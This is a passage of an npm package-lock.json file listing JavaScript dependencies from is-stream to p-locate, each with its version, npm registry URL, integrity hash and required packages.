"resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.0.tgz", "integrity": "sha512-XCoy+WlUr7d1+Z8GgSuXmpuUFC9fOhRXglJMx+dwLKTkL44Cjd4W1Z5P+BQZpr+cR93aGP4S/s7Ftw6Nd/kiEw==", "dev": true }, "is-symbol": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.0.2.tgz", "integrity": "sha512-HS8bZ9ox60yCJLH9snBpIwv9pYUAkcuLhSA1oero1UB5y9aiQpRA8y2ex945AOtCZL1lJDeIk3G5LthswI46Lw==", "dev": true, "requires": { "has-symbols": "^1.0.0" } }, "is-text-path": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/is-text-path/-/is-text-path-1.0.1.tgz", "integrity": "sha512-xFuJpne9oFz5qDaodwmmG08e3CawH/2ZV8Qqza1Ko7Sk8POWbkRdwIoAWVhqvq0XeUzANEhKo2n0IXUGBm7A/w==", "requires": { "text-extensions": "^1.0.0" } }, "is-typedarray": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz", "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=", "dev": true }, "is-unicode-supported": { "version": "0.1.0", "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz", "integrity": "sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==" }, "isarray": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=" }, "isexe": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", "integrity": "sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=", "dev": true }, "isstream": { "version": "0.1.2", "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz", "integrity": "sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo=", "dev": true }, "iterare": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/iterare/-/iterare-1.2.1.tgz", "integrity": "sha512-RKYVTCjAnRthyJes037NX/IiqeidgN1xc3j1RjFfECFp28A1GVwK9nA+i0rJPaHqSZwygLzRnFlzUuHFoWWy+Q==" }, "joi": { "version": "17.9.2", "resolved": "https://registry.npmjs.org/joi/-/joi-17.9.2.tgz", "integrity": "sha512-Itk/r+V4Dx0V3c7RLFdRh12IOjySm2/WGPMubBT92cQvRfYZhPM2W0hZlctjj72iES8jsRCwp7S/cRmWBnJ4nw==", "dev": true, "requires": { "@hapi/hoek": "^9.0.0", "@hapi/topo": "^5.0.0", "@sideway/address": "^4.1.3", "@sideway/formula": "^3.0.1", "@sideway/pinpoint": "^2.0.0" } }, "js-tokens": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-3.0.2.tgz", "integrity": "sha1-mGbfOVECEw449/mWvOtlRDIJwls=", "dev": true }, "js-yaml": { "version": "3.13.1", "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.13.1.tgz", "integrity": "sha512-YfbcO7jXDdyj0DGxYVSlSeQNHbD7XPWvrVWeVUujrQEoZzWJIRrCPoyk6kL6IAjAG2IolMK4T0hNUe0HOUs5Jw==", "dev": true, "requires": { "argparse": "^1.0.7", "esprima": "^4.0.0" } }, "jsbn": { "version": "0.1.1", "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-0.1.1.tgz", "integrity": "sha1-peZUwuWi3rXyAdls77yoDA7y9RM=", "dev": true }, "json-parse-better-errors": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/json-parse-better-errors/-/json-parse-better-errors-1.0.2.tgz", "integrity": "sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw==" }, "json-parse-even-better-errors": { "version": "2.3.1", "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz", "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==" }, "json-schema": { "version": "0.4.0", "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.4.0.tgz", "integrity": "sha512-es94M3nTIfsEPisRafak+HDLfHXnKBhV3vU5eqPcS3flIWqcxJWgXHXiey3YrpaNsanY5ei1VoYEbOzijuq9BA==", "dev": true }, "json-schema-traverse": { "version": "0.4.1", "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", "dev": true }, "json-stable-stringify-without-jsonify": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", "integrity": "sha1-nbe1lJatPzz+8wp1FC0tkwrXJlE=", "dev": true }, "json-stringify-safe": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz", "integrity": "sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus=" }, "jsonfile": { "version": "6.1.0", "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.1.0.tgz", "integrity": "sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==", "requires": { "graceful-fs": "^4.1.6", "universalify": "^2.0.0" } }, "jsonparse": { "version": "1.3.1", "resolved": "https://registry.npmjs.org/jsonparse/-/jsonparse-1.3.1.tgz", "integrity": "sha512-POQXvpdL69+CluYsillJ7SUhKvytYjW9vG/GKpnf+xP8UWgYEM/RaMzHHofbALDiKbbP1W8UEYmgGl39WkPZsg==" }, "JSONStream": { "version": "1.3.5", "resolved": "https://registry.npmjs.org/JSONStream/-/JSONStream-1.3.5.tgz", "integrity": "sha512-E+iruNOY8VV9s4JEbe1aNEm6MiszPRr/UfcHMz0TQh1BXSxHK+ASV1R6W4HpjBhSeS+54PIsAMCBmwD06LLsqQ==", "requires": { "jsonparse": "^1.2.0", "through": ">=2.2.7 <3" } }, "jsonwebtoken": { "version": "8.5.1", "resolved": "https://registry.npmjs.org/jsonwebtoken/-/jsonwebtoken-8.5.1.tgz", "integrity": "sha512-XjwVfRS6jTMsqYs0EsuJ4LGxXV14zQybNd4L2r0UvbVnSF9Af8x7p5MzbJ90Ioz/9TI41/hTCvznF/loiSzn8w==", "dev": true, "requires": { "jws": "^3.2.2", "lodash.includes": "^4.3.0", "lodash.isboolean": "^3.0.3", "lodash.isinteger": "^4.0.4", "lodash.isnumber": "^3.0.3", "lodash.isplainobject": "^4.0.6", "lodash.isstring": "^4.0.1", "lodash.once": "^4.0.0", "ms": "^2.1.1", "semver": "^5.6.0" } }, "jsx-ast-utils": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-2.1.0.tgz", "integrity": "sha512-yDGDG2DS4JcqhA6blsuYbtsT09xL8AoLuUR2Gb5exrw7UEM19sBcOTq+YBBhrNbl0PUC4R4LnFu+dHg2HKeVvA==", "dev": true, "requires": { "array-includes": "^3.0.3" } }, "jwa": { "version": "1.4.1", "resolved": "https://registry.npmjs.org/jwa/-/jwa-1.4.1.tgz", "integrity": "sha512-qiLX/xhEEFKUAJ6FiBMbes3w9ATzyk5W7Hvzpa/SLYdxNtng+gcurvrI7TbACjIXlsJyr05/S1oUhZrc63evQA==", "dev": true, "requires": { "buffer-equal-constant-time": "1.0.1", "ecdsa-sig-formatter": "1.0.11", "safe-buffer": "^5.0.1" } }, "jws": { "version": "3.2.2", "resolved": "https://registry.npmjs.org/jws/-/jws-3.2.2.tgz", "integrity": "sha512-YHlZCB6lMTllWDtSPHz/ZXTsi8S00usEV6v1tjq8tOUZzw7DpSDWVXjXDre6ed1w/pd495ODpHZYSdkRTsa0HA==", "dev": true, "requires": { "jwa": "^1.4.1", "safe-buffer": "^5.0.1" } }, "kind-of": { "version": "6.0.3", "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz", "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==" }, "lazy-ass": { "version": "1.6.0", "resolved": "https://registry.npmjs.org/lazy-ass/-/lazy-ass-1.6.0.tgz", "integrity": "sha1-eZllXoZGwX8In90YfRUNMyTVRRM=", "dev": true }, "levn": { "version": "0.3.0", "resolved": "https://registry.npmjs.org/levn/-/levn-0.3.0.tgz", "integrity": "sha1-OwmSTt+fCDwEkP3UwLxEIeBHZO4=", "dev": true, "requires": { "prelude-ls": "~1.1.2", "type-check": "~0.3.2" } }, "license-checker": { "version": "25.0.1", "resolved": "https://registry.npmjs.org/license-checker/-/license-checker-25.0.1.tgz", "integrity": "sha512-mET5AIwl7MR2IAKYYoVBBpV0OnkKQ1xGj2IMMeEFIs42QAkEVjRtFZGWmQ28WeU7MP779iAgOaOy93Mn44mn6g==", "dev": true, "requires": { "chalk": "^2.4.1", "debug": "^3.1.0", "mkdirp": "^0.5.1", "nopt": "^4.0.1", "read-installed": "~4.0.3", "semver": "^5.5.0", "spdx-correct": "^3.0.0", "spdx-expression-parse": "^3.0.0", "spdx-satisfies": "^4.0.0", "treeify": "^1.1.0" } }, "lines-and-columns": { "version": "1.2.4", "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz", "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==" }, "listr2": { "version": "3.10.0", "resolved": "https://registry.npmjs.org/listr2/-/listr2-3.10.0.tgz", "integrity": "sha512-eP40ZHihu70sSmqFNbNy2NL1YwImmlMmPh9WO5sLmPDleurMHt3n+SwEWNu2kzKScexZnkyFtc1VI0z/TGlmpw==", "dev": true, "requires": { "cli-truncate": "^2.1.0", "colorette": "^1.2.2", "log-update": "^4.0.0", "p-map": "^4.0.0", "rxjs": "^6.6.7", "through": "^2.3.8", "wrap-ansi": "^7.0.0" }, "dependencies": { "rxjs": { "version": "6.6.7", "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.6.7.tgz", "integrity": "sha512-hTdwr+7yYNIT5n4AMYp85KA6yw2Va0FLa3Rguvbpa4W3I5xynaBZo41cM3XM+4Q6fRMj3sBYIR1VAmZMXYJvRQ==", "dev": true, "requires": { "tslib": "^1.9.0" } } } }, "load-json-file": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/load-json-file/-/load-json-file-4.0.0.tgz", "integrity": "sha1-L19Fq5HjMhYjT9U62rZo607AmTs=", "requires": { "graceful-fs": "^4.1.2", "parse-json": "^4.0.0", "pify": "^3.0.0", "strip-bom": "^3.0.0" }, "dependencies": { "pify": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz", "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=" } } }, "locate-path": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-2.0.0.tgz", "integrity": "sha1-K1aLJl7slExtnA3pw9u7ygNUzY4=", "requires": { "p-locate": "^2.0.0", "path-exists": "^3.0.0" } }, "lodash": { "version": "4.17.21", "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==" }, "lodash.includes": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/lodash.includes/-/lodash.includes-4.3.0.tgz", "integrity": "sha1-YLuYqHy5I8aMoeUTJUgzFISfVT8=", "dev": true }, "lodash.isboolean": { "version": "3.0.3", "resolved": "https://registry.npmjs.org/lodash.isboolean/-/lodash.isboolean-3.0.3.tgz", "integrity": "sha1-bC4XHbKiV82WgC/UOwGyDV9YcPY=", "dev": true }, "lodash.isinteger": { "version": "4.0.4", "resolved": "https://registry.npmjs.org/lodash.isinteger/-/lodash.isinteger-4.0.4.tgz", "integrity": "sha1-YZwK89A/iwTDH1iChAt3sRzWg0M=", "dev": true }, "lodash.ismatch": { "version": "4.4.0", "resolved": "https://registry.npmjs.org/lodash.ismatch/-/lodash.ismatch-4.4.0.tgz", "integrity": "sha512-fPMfXjGQEV9Xsq/8MTSgUf255gawYRbjwMyDbcvDhXgV7enSZA0hynz6vMPnpAb5iONEzBHBPsT+0zes5Z301g==" }, "lodash.isnumber": { "version": "3.0.3", "resolved": "https://registry.npmjs.org/lodash.isnumber/-/lodash.isnumber-3.0.3.tgz", "integrity": "sha1-POdoEMWSjQM1IwGsKHMX8RwLH/w=", "dev": true }, "lodash.isplainobject": { "version": "4.0.6", "resolved": "https://registry.npmjs.org/lodash.isplainobject/-/lodash.isplainobject-4.0.6.tgz", "integrity": "sha1-fFJqUtibRcRcxpC4gWO+BJf1UMs=", "dev": true }, "lodash.isstring": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/lodash.isstring/-/lodash.isstring-4.0.1.tgz", "integrity": "sha1-1SfftUVuynzJu5XV2ur4i6VKVFE=", "dev": true }, "lodash.once": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/lodash.once/-/lodash.once-4.1.1.tgz", "integrity": "sha1-DdOXEhPHxW34gJd9UEyI+0cal6w=", "dev": true }, "log-symbols": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-4.1.0.tgz", "integrity": "sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==", "requires": { "chalk": "^4.1.0", "is-unicode-supported": "^0.1.0" }, "dependencies": { "ansi-styles": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", "requires": { "color-convert": "^2.0.1" } }, "chalk": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz", "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==", "requires": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" } }, "color-convert": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", "requires": { "color-name": "~1.1.4" } }, "color-name": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" }, "has-flag": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" }, "supports-color": { "version": "7.2.0", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", "requires": { "has-flag": "^4.0.0" } } } }, "log-update": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/log-update/-/log-update-4.0.0.tgz", "integrity": "sha512-9fkkDevMefjg0mmzWFBW8YkFP91OrizzkW3diF7CpG+S2EYdy4+TVfGwz1zeF8x7hCx1ovSPTOE9Ngib74qqUg==", "dev": true, "requires": { "ansi-escapes": "^4.3.0", "cli-cursor": "^3.1.0", "slice-ansi": "^4.0.0", "wrap-ansi": "^6.2.0" }, "dependencies": { "ansi-escapes": { "version": "4.3.2", "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-4.3.2.tgz", "integrity": "sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ==", "dev": true, "requires": { "type-fest": "^0.21.3" } }, "ansi-regex": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", "dev": true }, "ansi-styles": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", "dev": true, "requires": { "color-convert": "^2.0.1" } }, "color-convert": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", "dev": true, "requires": { "color-name": "~1.1.4" } }, "color-name": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", "dev": true }, "slice-ansi": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-4.0.0.tgz", "integrity": "sha512-qMCMfhY040cVHT43K9BFygqYbUPFZKHOg7K73mtTWJRb8pyP3fzf4Ixd5SzdEJQ6MRUg/WBnOLxghZtKKurENQ==", "dev": true, "requires": { "ansi-styles": "^4.0.0", "astral-regex": "^2.0.0", "is-fullwidth-code-point": "^3.0.0" } }, "strip-ansi": { "version": "6.0.0", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz", "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==", "dev": true, "requires": { "ansi-regex": "^5.0.0" } }, "wrap-ansi": { "version": "6.2.0", "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-6.2.0.tgz", "integrity": "sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==", "dev": true, "requires": { "ansi-styles": "^4.0.0", "string-width": "^4.1.0", "strip-ansi": "^6.0.0" } } } }, "longest-streak": { "version": "2.0.4", "resolved": "https://registry.npmjs.org/longest-streak/-/longest-streak-2.0.4.tgz", "integrity": "sha512-vM6rUVCVUJJt33bnmHiZEvr7wPT78ztX7rojL+LW51bHtLh6HTjx84LA5W4+oa6aKEJA7jJu5LR6vQRBpA5DVg==" }, "loose-envify": { "version": "1.4.0", "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz", "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", "dev": true, "requires": { "js-tokens": "^3.0.0 || ^4.0.0" } }, "lru-cache": { "version": "6.0.0", "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", "requires": { "yallist": "^4.0.0" } }, "map-obj": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-4.3.0.tgz", "integrity": "sha512-hdN1wVrZbb29eBGiGjJbeP8JbKjq1urkHJ/LIP/NY48MZ1QVXUsQBV1G1zvYFHn1XE06cwjBsOI2K3Ulnj1YXQ==" }, "markdown-table": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/markdown-table/-/markdown-table-2.0.0.tgz", "integrity": "sha512-Ezda85ToJUBhM6WGaG6veasyym+Tbs3cMAw/ZhOPqXiYsr0jgocBV3j3nx+4lk47plLlIqjwuTm/ywVI+zjJ/A==", "requires": { "repeat-string": "^1.0.0" } }, "mdast-util-find-and-replace": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/mdast-util-find-and-replace/-/mdast-util-find-and-replace-1.1.1.tgz", "integrity": "sha512-9cKl33Y21lyckGzpSmEQnIDjEfeeWelN5s1kUW1LwdB0Fkuq2u+4GdqcGEygYxJE8GVqCl0741bYXHgamfWAZA==", "requires": { "escape-string-regexp": "^4.0.0", "unist-util-is": "^4.0.0", "unist-util-visit-parents": "^3.0.0" }, "dependencies": { "escape-string-regexp": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==" } } }, "mdast-util-footnote": { "version": "0.1.7", "resolved": "https://registry.npmjs.org/mdast-util-footnote/-/mdast-util-footnote-0.1.7.tgz", "integrity": "sha512-QxNdO8qSxqbO2e3m09KwDKfWiLgqyCurdWTQ198NpbZ2hxntdc+VKS4fDJCmNWbAroUdYnSthu+XbZ8ovh8C3w==", "requires": { "mdast-util-to-markdown": "^0.6.0", "micromark": "~2.11.0" } }, "mdast-util-from-markdown": { "version": "0.8.5", "resolved": "https://registry.npmjs.org/mdast-util-from-markdown/-/mdast-util-from-markdown-0.8.5.tgz", "integrity": "sha512-2hkTXtYYnr+NubD/g6KGBS/0mFmBcifAsI0yIWRiRo0PjVs6SSOSOdtzbp6kSGnShDN6G5aWZpKQ2lWRy27mWQ==", "requires": { "@types/mdast": "^3.0.0", "mdast-util-to-string": "^2.0.0", "micromark": "~2.11.0", "parse-entities": "^2.0.0", "unist-util-stringify-position": "^2.0.0" } }, "mdast-util-frontmatter": { "version": "0.2.0", "resolved": "https://registry.npmjs.org/mdast-util-frontmatter/-/mdast-util-frontmatter-0.2.0.tgz", "integrity": "sha512-FHKL4w4S5fdt1KjJCwB0178WJ0evnyyQr5kXTM3wrOVpytD0hrkvd+AOOjU9Td8onOejCkmZ+HQRT3CZ3coHHQ==", "requires": { "micromark-extension-frontmatter": "^0.2.0" } }, "mdast-util-gfm": { "version": "0.1.2", "resolved": "https://registry.npmjs.org/mdast-util-gfm/-/mdast-util-gfm-0.1.2.tgz", "integrity": "sha512-NNkhDx/qYcuOWB7xHUGWZYVXvjPFFd6afg6/e2g+SV4r9q5XUcCbV4Wfa3DLYIiD+xAEZc6K4MGaE/m0KDcPwQ==", "requires": { "mdast-util-gfm-autolink-literal": "^0.1.0", "mdast-util-gfm-strikethrough": "^0.2.0", "mdast-util-gfm-table": "^0.1.0", "mdast-util-gfm-task-list-item": "^0.1.0", "mdast-util-to-markdown": "^0.6.1" } }, "mdast-util-gfm-autolink-literal": { "version": "0.1.3", "resolved": "https://registry.npmjs.org/mdast-util-gfm-autolink-literal/-/mdast-util-gfm-autolink-literal-0.1.3.tgz", "integrity": "sha512-GjmLjWrXg1wqMIO9+ZsRik/s7PLwTaeCHVB7vRxUwLntZc8mzmTsLVr6HW1yLokcnhfURsn5zmSVdi3/xWWu1A==", "requires": { "ccount": "^1.0.0", "mdast-util-find-and-replace": "^1.1.0", "micromark": "^2.11.3" } }, "mdast-util-gfm-strikethrough": { "version": "0.2.3", "resolved": "https://registry.npmjs.org/mdast-util-gfm-strikethrough/-/mdast-util-gfm-strikethrough-0.2.3.tgz", "integrity": "sha512-5OQLXpt6qdbttcDG/UxYY7Yjj3e8P7X16LzvpX8pIQPYJ/C2Z1qFGMmcw+1PZMUM3Z8wt8NRfYTvCni93mgsgA==", "requires": { "mdast-util-to-markdown": "^0.6.0" } }, "mdast-util-gfm-table": { "version": "0.1.6", "resolved": "https://registry.npmjs.org/mdast-util-gfm-table/-/mdast-util-gfm-table-0.1.6.tgz", "integrity": "sha512-j4yDxQ66AJSBwGkbpFEp9uG/LS1tZV3P33fN1gkyRB2LoRL+RR3f76m0HPHaby6F4Z5xr9Fv1URmATlRRUIpRQ==", "requires": { "markdown-table": "^2.0.0", "mdast-util-to-markdown": "~0.6.0" } }, "mdast-util-gfm-task-list-item": { "version": "0.1.6", "resolved": "https://registry.npmjs.org/mdast-util-gfm-task-list-item/-/mdast-util-gfm-task-list-item-0.1.6.tgz", "integrity": "sha512-/d51FFIfPsSmCIRNp7E6pozM9z1GYPIkSy1urQ8s/o4TC22BZ7DqfHFWiqBD23bc7J3vV1Fc9O4QIHBlfuit8A==", "requires": { "mdast-util-to-markdown": "~0.6.0" } }, "mdast-util-to-markdown": { "version": "0.6.5", "resolved": "https://registry.npmjs.org/mdast-util-to-markdown/-/mdast-util-to-markdown-0.6.5.tgz", "integrity": "sha512-XeV9sDE7ZlOQvs45C9UKMtfTcctcaj/pGwH8YLbMHoMOXNNCn2LsqVQOqrF1+/NU8lKDAqozme9SCXWyo9oAcQ==", "requires": { "@types/unist": "^2.0.0", "longest-streak": "^2.0.0", "mdast-util-to-string": "^2.0.0", "parse-entities": "^2.0.0", "repeat-string": "^1.0.0", "zwitch": "^1.0.0" } }, "mdast-util-to-string": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/mdast-util-to-string/-/mdast-util-to-string-2.0.0.tgz", "integrity": "sha512-AW4DRS3QbBayY/jJmD8437V1Gombjf8RSOUCMFBuo5iHi58AGEgVCKQ+ezHkZZDpAQS75hcBMpLqjpJTjtUL7w==" }, "meow": { "version": "8.1.2", "resolved": "https://registry.npmjs.org/meow/-/meow-8.1.2.tgz", "integrity": "sha512-r85E3NdZ+mpYk1C6RjPFEMSE+s1iZMuHtsHAqY0DT3jZczl0diWUZ8g6oU7h0M9cD2EL+PzaYghhCLzR0ZNn5Q==", "requires": { "@types/minimist": "^1.2.0", "camelcase-keys": "^6.2.2", "decamelize-keys": "^1.1.0", "hard-rejection": "^2.1.0", "minimist-options": "4.1.0", "normalize-package-data": "^3.0.0", "read-pkg-up": "^7.0.1", "redent": "^3.0.0", "trim-newlines": "^3.0.0", "type-fest": "^0.18.0", "yargs-parser": "^20.2.3" }, "dependencies": { "find-up": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", "requires": { "locate-path": "^5.0.0", "path-exists": "^4.0.0" } }, "hosted-git-info": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-4.1.0.tgz", "integrity": "sha512-kyCuEOWjJqZuDbRHzL8V93NzQhwIB71oFWSyzVo+KPZI+pnQPPxucdkrOZvkLRnrf5URsQM+IJ09Dw29cRALIA==", "requires": { "lru-cache": "^6.0.0" } }, "locate-path": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", "requires": { "p-locate": "^4.1.0" } }, "normalize-package-data": { "version": "3.0.3", "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-3.0.3.tgz", "integrity": "sha512-p2W1sgqij3zMMyRC067Dg16bfzVH+w7hyegmpIvZ4JNjqtGOVAIvLmjBx3yP7YTe9vKJgkoNOPjwQGogDoMXFA==", "requires": { "hosted-git-info": "^4.0.1", "is-core-module": "^2.5.0", "semver": "^7.3.4", "validate-npm-package-license": "^3.0.1" } }, "p-limit": { "version": "2.3.0", "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", "requires": { "p-try": "^2.0.0" } }, "p-locate": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", 